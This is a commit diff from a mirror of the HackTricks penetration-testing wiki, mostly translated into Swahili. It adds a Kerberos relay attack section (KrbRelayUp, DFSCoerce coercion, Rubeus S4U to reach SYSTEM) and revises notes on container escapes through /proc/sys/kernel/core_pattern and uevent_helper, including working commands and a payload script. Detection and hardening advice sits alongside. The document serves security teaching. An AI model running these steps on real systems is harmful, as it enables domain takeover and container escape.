mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-methodologies-and-resources/pentesting-network/
This commit is contained in:
parent
ec2e147b67
commit
c26ced5830
@ -316,6 +316,7 @@
|
||||
- [Drozer Tutorial](mobile-pentesting/android-app-pentesting/drozer-tutorial/README.md)
|
||||
- [Exploiting Content Providers](mobile-pentesting/android-app-pentesting/drozer-tutorial/exploiting-content-providers.md)
|
||||
- [Exploiting a debuggeable application](mobile-pentesting/android-app-pentesting/exploiting-a-debuggeable-applciation.md)
|
||||
- [Flutter](mobile-pentesting/android-app-pentesting/flutter.md)
|
||||
- [Frida Tutorial](mobile-pentesting/android-app-pentesting/frida-tutorial/README.md)
|
||||
- [Frida Tutorial 1](mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-1.md)
|
||||
- [Frida Tutorial 2](mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-2.md)
|
||||
@ -342,6 +343,7 @@
|
||||
- [iOS Extracting Entitlements From Compiled Application](mobile-pentesting/ios-pentesting/extracting-entitlements-from-compiled-application.md)
|
||||
- [iOS Frida Configuration](mobile-pentesting/ios-pentesting/frida-configuration-in-ios.md)
|
||||
- [iOS Hooking With Objection](mobile-pentesting/ios-pentesting/ios-hooking-with-objection.md)
|
||||
- [iOS Pentesting withuot Jailbreak](mobile-pentesting/ios-pentesting/ios-pentesting-without-jailbreak.md)
|
||||
- [iOS Protocol Handlers](mobile-pentesting/ios-pentesting/ios-protocol-handlers.md)
|
||||
- [iOS Serialisation and Encoding](mobile-pentesting/ios-pentesting/ios-serialisation-and-encoding.md)
|
||||
- [iOS Testing Environment](mobile-pentesting/ios-pentesting/ios-testing-environment.md)
|
||||
|
@ -10,7 +10,7 @@
|
||||
- Microsoft na mifumo mingine ya uendeshaji hutumia LLMNR na NBT-NS kwa ajili ya kutatua majina ya ndani wakati DNS inashindwa. Vivyo hivyo, mifumo ya Apple na Linux hutumia mDNS.
|
||||
- Protokali hizi zinaweza kukabiliwa na udukuzi na spoofing kutokana na asili yao isiyo na uthibitisho, ya matangazo kupitia UDP.
|
||||
- [Responder](https://github.com/lgandx/Responder) inaweza kutumika kuiga huduma kwa kutuma majibu yaliyotengenezwa kwa wenyeji wanaouliza protokali hizi.
|
||||
- Taarifa zaidi kuhusu kuiga huduma kwa kutumia Responder inaweza kupatikana [hapa](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
|
||||
- Taarifa zaidi juu ya kuiga huduma kwa kutumia Responder inaweza kupatikana [hapa](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
|
||||
|
||||
### Web Proxy Auto-Discovery Protocol (WPAD)
|
||||
|
||||
@ -22,7 +22,7 @@
|
||||
|
||||
- **Responder** ni chombo kinachotumika kwa kuharibu LLMNR, NBT-NS, na mDNS maswali, kikijibu kwa kuchagua kulingana na aina za maswali, hasa lengo likiwa huduma za SMB.
|
||||
- Inakuja ikiwa imewekwa awali katika Kali Linux, inayoweza kubadilishwa katika `/etc/responder/Responder.conf`.
|
||||
- Responder inaonyesha hash zilizokamatwa kwenye skrini na kuziokoa katika saraka ya `/usr/share/responder/logs`.
|
||||
- Responder inaonyesha hash zilizokamatwa kwenye skrini na kuzihifadhi katika saraka ya `/usr/share/responder/logs`.
|
||||
- Inasaidia IPv4 na IPv6.
|
||||
- Toleo la Windows la Responder linapatikana [hapa](https://github.com/lgandx/Responder-Windows).
|
||||
|
||||
@ -39,18 +39,18 @@
|
||||
- Kuiga majibu ya DHCP kunaweza kuharibu kwa kudumu taarifa za routing za mwathirika, ikitoa njia ya siri zaidi kuliko kuharibu ARP.
|
||||
- Inahitaji maarifa sahihi ya usanidi wa mtandao wa lengo.
|
||||
- Kuendesha shambulizi: `./Responder.py -I eth0 -Pdv`
|
||||
- Njia hii inaweza kukamata hash za NTLMv1/2 kwa ufanisi, lakini inahitaji kushughulikia kwa makini ili kuepuka kuingilia mtandao.
|
||||
- Njia hii inaweza kukamata hash za NTLMv1/2 kwa ufanisi, lakini inahitaji kushughulikia kwa makini ili kuepuka kuvuruga mtandao.
|
||||
|
||||
### Capturing Credentials with Responder
|
||||
|
||||
- Responder itaimarisha huduma kwa kutumia protokali zilizoelezwa hapo juu, ikikamata akidi (kawaida NTLMv2 Changamoto/Jibu) wakati mtumiaji anajaribu kuthibitisha dhidi ya huduma zilizoghushiwa.
|
||||
- Jaribio linaweza kufanywa kushuka hadi NetNTLMv1 au kuzima ESS kwa urahisi wa kuvunja akidi.
|
||||
|
||||
Ni muhimu kutambua kwamba kutumia mbinu hizi inapaswa kufanywa kisheria na kwa maadili, kuhakikisha idhini sahihi na kuepuka kuingilia au ufikiaji usioidhinishwa.
|
||||
Ni muhimu kutambua kwamba kutumia mbinu hizi inapaswa kufanywa kisheria na kwa maadili, kuhakikisha idhini sahihi na kuepuka kuvuruga au ufikiaji usioidhinishwa.
|
||||
|
||||
## Inveigh
|
||||
|
||||
Inveigh ni chombo kwa ajili ya wapimaji wa penetralia na timu za red, kilichoundwa kwa mifumo ya Windows. Kinatoa kazi zinazofanana na Responder, kikifanya udukuzi na mashambulizi ya mtu katikati. Chombo hiki kimebadilika kutoka kwa skripti ya PowerShell hadi binary ya C#, na [**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) na [**InveighZero**](https://github.com/Kevin-Robertson/InveighZero) kama matoleo makuu. Vigezo na maelekezo ya kina yanaweza kupatikana katika [**wiki**](https://github.com/Kevin-Robertson/Inveigh/wiki/Parameters).
|
||||
Inveigh ni chombo kwa ajili ya wapimaji wa penetralia na timu za red, kilichoundwa kwa mifumo ya Windows. Kinatoa kazi zinazofanana na Responder, kikifanya kuiga na mashambulizi ya mtu katikati. Chombo hiki kimebadilika kutoka kwa skripti ya PowerShell hadi binary ya C#, na [**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) na [**InveighZero**](https://github.com/Kevin-Robertson/InveighZero) kama matoleo makuu. Vigezo na maelekezo ya kina yanaweza kupatikana katika [**wiki**](https://github.com/Kevin-Robertson/Inveigh/wiki/Parameters).
|
||||
|
||||
Inveigh inaweza kuendeshwa kupitia PowerShell:
|
||||
```bash
|
||||
@ -62,14 +62,14 @@ Inveigh.exe
|
||||
```
|
||||
### NTLM Relay Attack
|
||||
|
||||
Shambulio hili linatumia vikao vya uthibitishaji vya SMB kupata mashine lengwa, likitoa shell ya mfumo ikiwa linafanikiwa. Masharti muhimu ni:
|
||||
Shambulio hili linatumia vikao vya uthibitishaji vya SMB kupata mashine lengwa, likitoa shell ya mfumo ikiwa litafanikiwa. Masharti muhimu ni:
|
||||
|
||||
- Mtumiaji anayethibitisha lazima awe na ufikiaji wa Local Admin kwenye mwenyeji aliyehamasishwa.
|
||||
- Saini ya SMB inapaswa kuzuiliwa.
|
||||
|
||||
#### 445 Port Forwarding and Tunneling
|
||||
|
||||
Katika hali ambapo utambulisho wa moja kwa moja wa mtandao hauwezekani, trafiki kwenye bandari 445 inahitaji kuelekezwa na kupitishwa. Zana kama [**PortBender**](https://github.com/praetorian-inc/PortBender) husaidia katika kuelekeza trafiki ya bandari 445 kwenye bandari nyingine, ambayo ni muhimu wakati ufikiaji wa admin wa ndani unapatikana kwa ajili ya kupakia madereva.
|
||||
Katika hali ambapo utambulisho wa moja kwa moja wa mtandao hauwezekani, trafiki kwenye bandari 445 inahitaji kuelekezwa na kupitishwa. Zana kama [**PortBender**](https://github.com/praetorian-inc/PortBender) husaidia katika kuelekeza trafiki ya bandari 445 kwenda kwenye bandari nyingine, ambayo ni muhimu wakati ufikiaji wa admin wa ndani unapatikana kwa ajili ya kupakia madereva.
|
||||
|
||||
PortBender setup and operation in Cobalt Strike:
|
||||
```bash
|
||||
@ -87,15 +87,15 @@ beacon> jobkill 0
|
||||
beacon> rportfwd stop 8445
|
||||
beacon> socks stop
|
||||
```
|
||||
### Other Tools for NTLM Relay Attack
|
||||
### Zana Nyingine za Shambulio la NTLM Relay
|
||||
|
||||
- **Metasploit**: Sanidiwa na proxies, maelezo ya mwenyeji wa ndani na wa mbali.
|
||||
- **Metasploit**: Imewekwa na proxies, maelezo ya mwenyeji wa ndani na wa mbali.
|
||||
- **smbrelayx**: Skripti ya Python kwa ajili ya kuhamasisha vikao vya SMB na kutekeleza amri au kuweka backdoors.
|
||||
- **MultiRelay**: Chombo kutoka kwenye suite ya Responder kuhamasisha watumiaji maalum au watumiaji wote, kutekeleza amri, au kutupa hashes.
|
||||
- **MultiRelay**: Zana kutoka kwenye seti ya Responder ili kuhamasisha watumiaji maalum au watumiaji wote, kutekeleza amri, au kutoa hashes.
|
||||
|
||||
Kila chombo kinaweza kuundwa kufanya kazi kupitia SOCKS proxy ikiwa ni lazima, ikiruhusu mashambulizi hata na ufikiaji wa mtandao wa moja kwa moja.
|
||||
Kila zana inaweza kuwekewa mipangilio ili kufanya kazi kupitia SOCKS proxy ikiwa inahitajika, ikiruhusu mashambulizi hata na ufikiaji wa mtandao wa moja kwa moja.
|
||||
|
||||
### MultiRelay Operation
|
||||
### Uendeshaji wa MultiRelay
|
||||
|
||||
MultiRelay inatekelezwa kutoka kwenye _**/usr/share/responder/tools**_ directory, ikilenga IP au watumiaji maalum.
|
||||
```bash
|
||||
@ -115,7 +115,114 @@ Katika Windows unaweza **kuwa na uwezo wa kulazimisha akaunti fulani zenye mamla
|
||||
../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md
|
||||
{{#endref}}
|
||||
|
||||
## Marejeleo
|
||||
## Mashambulizi ya Kerberos Relay
|
||||
|
||||
**Mashambulizi ya Kerberos relay** yanaua **AP-REQ ticket** kutoka huduma moja na kuirudisha dhidi ya huduma ya pili inayoshiriki **funguo sawa za akaunti ya kompyuta** (kwa sababu SPNs zote mbili ziko kwenye akaunti ya mashine `$`). Hii inafanya kazi ingawa **daraja za huduma za SPNs zinatofautiana** (mfano `CIFS/` → `LDAP/`) kwa sababu *funguo* inayofungua tiketi ni NT hash ya mashine, si SPN string yenyewe na SPN string si sehemu ya saini.
|
||||
|
||||
Tofauti na NTLM relay, hop inakabiliwa na *mwenyeji mmoja* lakini, ikiwa unalenga protokali inayokuruhusu kuandika kwenye LDAP, unaweza kuunganisha kwenye **Resource-Based Constrained Delegation (RBCD)** au **AD CS enrollment** na kupiga **NT AUTHORITY\SYSTEM** kwa risasi moja.
|
||||
|
||||
Kwa maelezo ya kina kuhusu shambulizi hili angalia:
|
||||
|
||||
- [https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html](https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html)
|
||||
- [https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/](https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/)
|
||||
|
||||
- 1. **Misingi ya Kerberos**
|
||||
|
||||
| Token | Kusudi | Umuhimu wa Relay |
|
||||
|-------|---------|-----------------|
|
||||
| **TGT / AS-REQ ↔ REP** | Inathibitisha mtumiaji kwa KDC | haijaguswa |
|
||||
| **Service ticket / TGS-REQ ↔ REP** | Imefungwa kwa **SPN** moja; imefungwa kwa funguo ya mmiliki wa SPN | inaweza kubadilishana ikiwa SPNs zinashiriki akaunti |
|
||||
| **AP-REQ** | Mteja anatumia `TGS` kwa huduma | **tunachokiba na kurudisha** |
|
||||
|
||||
* Tiketi zimefungwa kwa **funguo iliyotokana na nenosiri la akaunti inayomiliki SPN**.
|
||||
* **Authenticator** ndani ya AP-REQ ina alama ya muda ya dakika 5; kurudisha ndani ya dirisha hilo ni halali hadi cache ya huduma ionyeshe nakala.
|
||||
* Windows mara chache huangalia ikiwa SPN string katika tiketi inalingana na huduma unayoipiga, hivyo tiketi ya `CIFS/HOST` kawaida inafunguka vizuri kwenye `LDAP/HOST`.
|
||||
|
||||
- 2. **Nini kinapaswa kuwa kweli ili kuhamasisha Kerberos**
|
||||
|
||||
1. **Funguo iliyoshirikiwa:** SPNs za chanzo na lengo zinamilikiwa na akaunti moja ya kompyuta (kawaida kwenye seva za Windows).
|
||||
2. **Hakuna ulinzi wa channel:** SMB/LDAP kusaini mbali na EPA mbali kwa HTTP/LDAPS.
|
||||
3. **Unaweza kukamata au kulazimisha uthibitisho:** LLMNR/NBNS sumu, DNS spoof, **PetitPotam / DFSCoerce RPC**, fake AuthIP, rogue DCOM, n.k..
|
||||
4. **Chanzo cha tiketi hakijatumika tayari:** unashinda mbio kabla ya pakiti halisi kufika au kuzuia kabisa; vinginevyo cache ya kurudisha ya seva inatoa Tukio 4649.
|
||||
5. Unahitaji kwa namna fulani kuwa na uwezo wa kufanya **MitM katika mawasiliano** labda ukiwa sehemu ya kundi la DNSAmins kubadilisha DNS ya kikoa au kuwa na uwezo wa kubadilisha faili ya HOST ya mwathirika.
|
||||
|
||||
### Hatua za Kerberos Relay
|
||||
|
||||
- 3.1 **Fanya utafiti wa mwenyeji**
|
||||
```powershell
|
||||
# find servers where HTTP, LDAP or CIFS share the same machine account
|
||||
Get-ADComputer -Filter * -Properties servicePrincipalName |
|
||||
Where-Object {$_.servicePrincipalName -match '(HTTP|LDAP|CIFS)'} |
|
||||
Select Name,servicePrincipalName
|
||||
```
|
||||
- 3.2 **Anza msikilizaji wa relay**
|
||||
|
||||
[KrbRelayUp](https://github.com/Dec0ne/KrbRelayUp)
|
||||
```powershell
|
||||
# one-click local SYSTEM via RBCD
|
||||
.\KrbRelayUp.exe relay --spn "ldap/DC01.lab.local" --method rbcd --clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8
|
||||
```
|
||||
`KrbRelayUp` inafunga **KrbRelay → LDAP → RBCD → Rubeus → SCM bypass** katika binary moja.
|
||||
|
||||
- 3.3 **Lazimisha uthibitisho wa Kerberos**
|
||||
```powershell
|
||||
# coerce DC to auth over SMB with DFSCoerce
|
||||
.\dfscoerce.exe --target \\DC01.lab.local --listener 10.0.0.50
|
||||
```
|
||||
DFSCoerce inafanya DC itume tiketi ya Kerberos `CIFS/DC01` kwetu.
|
||||
|
||||
- 3.4 **Relay the AP-REQ**
|
||||
|
||||
KrbRelay inatoa GSS blob kutoka SMB, inaiweka tena katika LDAP bind, na kupeleka kwa `ldap://DC01`—uthibitishaji unafanikiwa kwa sababu **funguo ile ile** inaitafsiri.
|
||||
|
||||
- 3.5 **Abuse LDAP ➜ RBCD ➜ SYSTEM**
|
||||
```powershell
|
||||
# (auto inside KrbRelayUp) manual for clarity
|
||||
New-MachineAccount -Name "FAKE01" -Password "P@ss123"
|
||||
KrbRelay.exe -spn ldap/DC01 -rbcd FAKE01_SID
|
||||
Rubeus s4u /user:FAKE01$ /rc4:<hash> /impersonateuser:administrator /msdsspn:HOST/DC01 /ptt
|
||||
SCMUACBypass.exe
|
||||
```
|
||||
You now own **NT AUTHORITY\SYSTEM**.
|
||||
|
||||
|
||||
### **More paths worth knowing**
|
||||
|
||||
| Vector | Trick | Why it matters |
|
||||
|--------|-------|----------------|
|
||||
| **AuthIP / IPSec** | Server bandia inatuma **GSS-ID payload** na SPN yoyote; mteja anajenga AP-REQ moja kwa moja kwako | Inafanya kazi hata kati ya subnets; mashine creds kwa default |
|
||||
| **DCOM / MSRPC** | Resolver mbaya wa OXID inamfanya mteja kuidhinisha kwa SPN na bandari yoyote | Priv-esc ya *local* safi; inapita firewall |
|
||||
| **AD CS Web Enroll** | Relay tiketi ya mashine kwa `HTTP/CA` na pata cheti, kisha **PKINIT** kutengeneza TGTs | Inapita ulinzi wa LDAP signing |
|
||||
| **Shadow Credentials** | Andika `msDS-KeyCredentialLink`, kisha PKINIT na funguo za bandia | Hakuna haja ya kuongeza akaunti ya kompyuta |
|
||||
|
||||
### **Troubleshooting**
|
||||
|
||||
| Error | Meaning | Fix |
|
||||
|-------|---------|-----|
|
||||
| `KRB_AP_ERR_MODIFIED` | Tiketi funguo ≠ funguo ya lengo | Host/SPN isiyo sahihi |
|
||||
| `KRB_AP_ERR_SKEW` | Saa > 5 min offset | Sanidi muda au tumia `w32tm` |
|
||||
| LDAP bind fails | Signing enforced | Tumia njia ya AD CS au zima signing |
|
||||
| Event 4649 spam | Huduma iliona Authenticator ya nakala | zuia au race pakiti ya asili |
|
||||
|
||||
|
||||
### **Detection**
|
||||
|
||||
* Kuongezeka kwa **Event 4769** kwa `CIFS/`, `HTTP/`, `LDAP/` kutoka chanzo kimoja ndani ya sekunde.
|
||||
* **Event 4649** kwenye huduma inaonyesha replay iligundulika.
|
||||
* Kerberos logon kutoka **127.0.0.1** (relay kwa SCM ya ndani) ni ya kutia shaka—panga kupitia sheria ya Sigma katika nyaraka za KrbRelayUp.
|
||||
* Angalia mabadiliko kwenye sifa za `msDS-AllowedToActOnBehalfOfOtherIdentity` au `msDS-KeyCredentialLink`.
|
||||
|
||||
## **Hardening**
|
||||
|
||||
1. **Lazimisha LDAP & SMB signing + EPA** kwenye kila seva.
|
||||
2. **Gawanya SPNs** ili HTTP isiwe kwenye akaunti sawa na CIFS/LDAP.
|
||||
3. Patch coercion vectors (PetitPotam KB5005413, DFS, AuthIP).
|
||||
4. Weka **`ms-DS-MachineAccountQuota = 0`** kuzuia kujiunga kwa kompyuta za uhalifu.
|
||||
5. Onyesha kwenye **Event 4649** na logon za Kerberos za loopback zisizotarajiwa.
|
||||
|
||||
|
||||
|
||||
## References
|
||||
|
||||
- [https://intrinium.com/smb-relay-attack-tutorial/](https://intrinium.com/smb-relay-attack-tutorial/)
|
||||
- [https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/](https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/)
|
||||
|
@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Ufunuo wa `/proc`, `/sys`, na `/var` bila kutengwa kwa namespace sahihi kunaingiza hatari kubwa za usalama, ikiwa ni pamoja na kuongezeka kwa uso wa shambulio na ufunuo wa taarifa. Hizi directories zina faili nyeti ambazo, ikiwa zimepangwa vibaya au kufikiwa na mtumiaji asiyeidhinishwa, zinaweza kusababisha kutoroka kwa kontena, mabadiliko ya mwenyeji, au kutoa taarifa zinazosaidia mashambulizi zaidi. Kwa mfano, kuunganisha vibaya `-v /proc:/host/proc` kunaweza kupita ulinzi wa AppArmor kutokana na asili yake ya msingi wa njia, na kuacha `/host/proc` bila ulinzi.
|
||||
Ufunuo wa `/proc`, `/sys`, na `/var` bila kutengwa kwa namespace kunaleta hatari kubwa za usalama, ikiwa ni pamoja na kuongezeka kwa uso wa shambulio na ufunuo wa taarifa. Maktaba haya yana faili nyeti ambazo, ikiwa zimepangwa vibaya au kufikiwa na mtumiaji asiyeidhinishwa, zinaweza kusababisha kutoroka kwa kontena, mabadiliko ya mwenyeji, au kutoa taarifa zinazosaidia mashambulizi zaidi. Kwa mfano, kuunganisha vibaya `-v /proc:/host/proc` kunaweza kupita ulinzi wa AppArmor kutokana na asili yake ya msingi wa njia, na kuacha `/host/proc` bila ulinzi.
|
||||
|
||||
**Unaweza kupata maelezo zaidi ya kila hatari inayoweza kutokea katika** [**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)**.**
|
||||
|
||||
@ -10,59 +10,71 @@ Ufunuo wa `/proc`, `/sys`, na `/var` bila kutengwa kwa namespace sahihi kunaingi
|
||||
|
||||
### `/proc/sys`
|
||||
|
||||
Hii directory inaruhusu ufikiaji wa kubadilisha vigezo vya kernel, kawaida kupitia `sysctl(2)`, na ina subdirectories kadhaa za wasiwasi:
|
||||
Maktaba hii inaruhusu ufikiaji wa kubadilisha vigezo vya kernel, kawaida kupitia `sysctl(2)`, na ina subdirectories kadhaa za wasiwasi:
|
||||
|
||||
#### **`/proc/sys/kernel/core_pattern`**
|
||||
|
||||
- Imeelezwa katika [core(5)](https://man7.org/linux/man-pages/man5/core.5.html).
|
||||
- Inaruhusu kufafanua programu ya kutekeleza wakati wa uzalishaji wa core-file na bytes 128 za kwanza kama hoja. Hii inaweza kusababisha utekelezaji wa msimbo ikiwa faili inaanza na bomba `|`.
|
||||
- **Mfano wa Upimaji na Ukatili**:
|
||||
- Ikiwa unaweza kuandika ndani ya faili hii inawezekana kuandika bomba `|` ikifuatiwa na njia ya programu au skripti ambayo itatekelezwa baada ya ajali kutokea.
|
||||
- Mshambuliaji anaweza kupata njia ndani ya mwenyeji kwa kontena lake akitekeleza `mount` na kuandika njia ya binary ndani ya mfumo wa faili wa kontena lake. Kisha, angamiza programu ili kufanya kernel itekeleze binary nje ya kontena.
|
||||
|
||||
- **Mfano wa Upimaji na Ukatili**:
|
||||
```bash
|
||||
[ -w /proc/sys/kernel/core_pattern ] && echo Yes # Jaribu ufikiaji wa kuandika
|
||||
[ -w /proc/sys/kernel/core_pattern ] && echo Yes # Test write access
|
||||
cd /proc/sys/kernel
|
||||
echo "|$overlay/shell.sh" > core_pattern # Weka handler maalum
|
||||
echo "|$overlay/shell.sh" > core_pattern # Set custom handler
|
||||
sleep 5 && ./crash & # Trigger handler
|
||||
```
|
||||
Angalia [hii posti](https://pwning.systems/posts/escaping-containers-for-fun/) kwa maelezo zaidi.
|
||||
|
||||
Mfano wa programu inayoshindwa:
|
||||
```c
|
||||
int main(void) {
|
||||
char buf[1];
|
||||
for (int i = 0; i < 100; i++) {
|
||||
buf[i] = 1;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
#### **`/proc/sys/kernel/modprobe`**
|
||||
|
||||
- Imeelezwa kwa undani katika [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
|
||||
- Ina njia ya mzigo wa moduli ya kernel, inayotumika kwa kupakia moduli za kernel.
|
||||
- **Mfano wa Kuangalia Ufikiaji**:
|
||||
- Imeelezwa katika [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
|
||||
- Inashikilia njia ya mzigo wa moduli ya kernel, inayoitwa kwa ajili ya kupakia moduli za kernel.
|
||||
- **Mfano wa Kuangalia Upatikanaji**:
|
||||
|
||||
```bash
|
||||
ls -l $(cat /proc/sys/kernel/modprobe) # Angalia ufikiaji wa modprobe
|
||||
ls -l $(cat /proc/sys/kernel/modprobe) # Angalia upatikanaji wa modprobe
|
||||
```
|
||||
|
||||
#### **`/proc/sys/vm/panic_on_oom`**
|
||||
|
||||
- Imeelezwa katika [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
|
||||
- Bendera ya kimataifa inayodhibiti ikiwa kernel inapaswa kujiweka katika hali ya panic au kuanzisha OOM killer wakati hali ya OOM inatokea.
|
||||
- Imejumuishwa katika [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
|
||||
- Bendera ya kimataifa inayodhibiti ikiwa kernel itakumbwa na hofu au kuanzisha OOM killer wakati hali ya OOM inapotokea.
|
||||
|
||||
#### **`/proc/sys/fs`**
|
||||
|
||||
- Kulingana na [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html), ina chaguzi na taarifa kuhusu mfumo wa faili.
|
||||
- Ufikiaji wa kuandika unaweza kuwezesha mashambulizi mbalimbali ya kukatiza huduma dhidi ya mwenyeji.
|
||||
- Upatikanaji wa kuandika unaweza kuwezesha mashambulizi mbalimbali ya kukatiza huduma dhidi ya mwenyeji.
|
||||
|
||||
#### **`/proc/sys/fs/binfmt_misc`**
|
||||
|
||||
- Inaruhusu kujiandikisha kwa waandishi wa tafsiri kwa muundo wa binary usio wa asili kulingana na nambari zao za uchawi.
|
||||
- Inaweza kusababisha kupanda kwa haki au ufikiaji wa root shell ikiwa `/proc/sys/fs/binfmt_misc/register` inaweza kuandikwa.
|
||||
- Ukatili na maelezo yanayohusiana:
|
||||
- [Poor man's rootkit via binfmt_misc](https://github.com/toffan/binfmt_misc)
|
||||
- Mafunzo ya kina: [Video link](https://www.youtube.com/watch?v=WBC7hhgMvQQ)
|
||||
- Inaruhusu kujiandikisha kwa wakalimani wa fomati za binary zisizo za asili kulingana na nambari yao ya uchawi.
|
||||
- Inaweza kusababisha kupanda kwa haki au upatikanaji wa shell ya mzizi ikiwa `/proc/sys/fs/binfmt_misc/register` inaweza kuandikwa.
|
||||
- Ukatili unaohusiana na maelezo:
|
||||
- [Poor man's rootkit kupitia binfmt_misc](https://github.com/toffan/binfmt_misc)
|
||||
- Mafunzo ya kina: [Kiungo cha video](https://www.youtube.com/watch?v=WBC7hhgMvQQ)
|
||||
|
||||
### Wengine katika `/proc`
|
||||
|
||||
#### **`/proc/config.gz`**
|
||||
|
||||
- Inaweza kufichua usanidi wa kernel ikiwa `CONFIG_IKCONFIG_PROC` imewezeshwa.
|
||||
- Inatumika kwa washambuliaji kubaini udhaifu katika kernel inayotumika.
|
||||
- Inafaida kwa washambuliaji kubaini udhaifu katika kernel inayotumika.
|
||||
|
||||
#### **`/proc/sysrq-trigger`**
|
||||
|
||||
- Inaruhusu kuanzisha amri za Sysrq, ambazo zinaweza kusababisha upya wa mfumo mara moja au hatua nyingine muhimu.
|
||||
- Inaruhusu kuanzisha amri za Sysrq, ambayo inaweza kusababisha upya wa mfumo mara moja au vitendo vingine vya dharura.
|
||||
- **Mfano wa Kuanzisha Upya Mwenyeji**:
|
||||
|
||||
```bash
|
||||
@ -71,8 +83,8 @@ echo b > /proc/sysrq-trigger # Inarejesha mwenyeji
|
||||
|
||||
#### **`/proc/kmsg`**
|
||||
|
||||
- Inafichua ujumbe wa buffer wa ring wa kernel.
|
||||
- Inaweza kusaidia katika mashambulizi ya kernel, uvujaji wa anwani, na kutoa taarifa nyeti za mfumo.
|
||||
- Inafichua ujumbe wa buffer ya ring ya kernel.
|
||||
- Inaweza kusaidia katika mashambulizi ya kernel, kuvuja anwani, na kutoa taarifa nyeti za mfumo.
|
||||
|
||||
#### **`/proc/kallsyms`**
|
||||
|
||||
@ -83,14 +95,14 @@ echo b > /proc/sysrq-trigger # Inarejesha mwenyeji
|
||||
|
||||
#### **`/proc/[pid]/mem`**
|
||||
|
||||
- Inafanya kazi na kifaa cha kumbukumbu ya kernel `/dev/mem`.
|
||||
- Inashirikiana na kifaa cha kumbukumbu ya kernel `/dev/mem`.
|
||||
- Kihistoria ilikuwa na udhaifu wa mashambulizi ya kupanda kwa haki.
|
||||
- Zaidi juu ya [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
|
||||
- Zaidi kuhusu [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
|
||||
|
||||
#### **`/proc/kcore`**
|
||||
|
||||
- Inawakilisha kumbukumbu ya kimwili ya mfumo katika muundo wa ELF core.
|
||||
- Kusoma kunaweza kufichua maudhui ya kumbukumbu ya mfumo wa mwenyeji na kontena nyingine.
|
||||
- Kusoma kunaweza kuvuja maudhui ya kumbukumbu ya mfumo wa mwenyeji na kontena zingine.
|
||||
- Ukubwa mkubwa wa faili unaweza kusababisha matatizo ya kusoma au kuanguka kwa programu.
|
||||
- Matumizi ya kina katika [Dumping /proc/kcore in 2019](https://schlafwandler.github.io/posts/dumping-/proc/kcore/).
|
||||
|
||||
@ -102,31 +114,31 @@ echo b > /proc/sysrq-trigger # Inarejesha mwenyeji
|
||||
#### **`/proc/mem`**
|
||||
|
||||
- Kiolesura mbadala kwa `/dev/mem`, kinawakilisha kumbukumbu ya kimwili.
|
||||
- Inaruhusu kusoma na kuandika, mabadiliko ya kumbukumbu yote yanahitaji kutatua anwani za virtual hadi za kimwili.
|
||||
- Inaruhusu kusoma na kuandika, kubadilisha kumbukumbu yote kunahitaji kutatua anwani za virtual hadi za kimwili.
|
||||
|
||||
#### **`/proc/sched_debug`**
|
||||
|
||||
- Inarudisha taarifa za kupanga mchakato, ikipita ulinzi wa namespace ya PID.
|
||||
- Inafichua majina ya mchakato, IDs, na vitambulisho vya cgroup.
|
||||
- Inarudisha taarifa za kupanga mchakato, ikipita ulinzi wa PID namespace.
|
||||
- Inafichua majina ya michakato, IDs, na vitambulisho vya cgroup.
|
||||
|
||||
#### **`/proc/[pid]/mountinfo`**
|
||||
|
||||
- Inatoa taarifa kuhusu maeneo ya kuunganisha katika namespace ya kuunganisha ya mchakato.
|
||||
- Inatoa taarifa kuhusu maeneo ya kupandisha katika namespace ya kupandisha ya mchakato.
|
||||
- Inafichua eneo la `rootfs` ya kontena au picha.
|
||||
|
||||
### `/sys` Vulnerabilities
|
||||
### Udhihirisho wa `/sys`
|
||||
|
||||
#### **`/sys/kernel/uevent_helper`**
|
||||
|
||||
- Inatumika kwa kushughulikia `uevents` za kifaa cha kernel.
|
||||
- Kuandika kwenye `/sys/kernel/uevent_helper` kunaweza kutekeleza skripti zisizo na mipaka wakati wa kuanzisha `uevent`.
|
||||
- Kuandika kwenye `/sys/kernel/uevent_helper` kunaweza kutekeleza skripti zisizo za kawaida wakati wa kuanzisha `uevent`.
|
||||
- **Mfano wa Ukatili**: %%%bash
|
||||
|
||||
#### Inaunda payload
|
||||
|
||||
echo "#!/bin/sh" > /evil-helper echo "ps > /output" >> /evil-helper chmod +x /evil-helper
|
||||
|
||||
#### Inapata njia ya mwenyeji kutoka kwa OverlayFS mount kwa kontena
|
||||
#### Inapata njia ya mwenyeji kutoka OverlayFS mount kwa kontena
|
||||
|
||||
host*path=$(sed -n 's/.*\perdir=(\[^,]\_).\*/\1/p' /etc/mtab)
|
||||
|
||||
@ -148,28 +160,28 @@ cat /output %%%
|
||||
|
||||
#### **`/sys/kernel/vmcoreinfo`**
|
||||
|
||||
- Inafichua anwani za kernel, ambayo inaweza kuhatarisha KASLR.
|
||||
- Inavuja anwani za kernel, ambayo inaweza kuhatarisha KASLR.
|
||||
|
||||
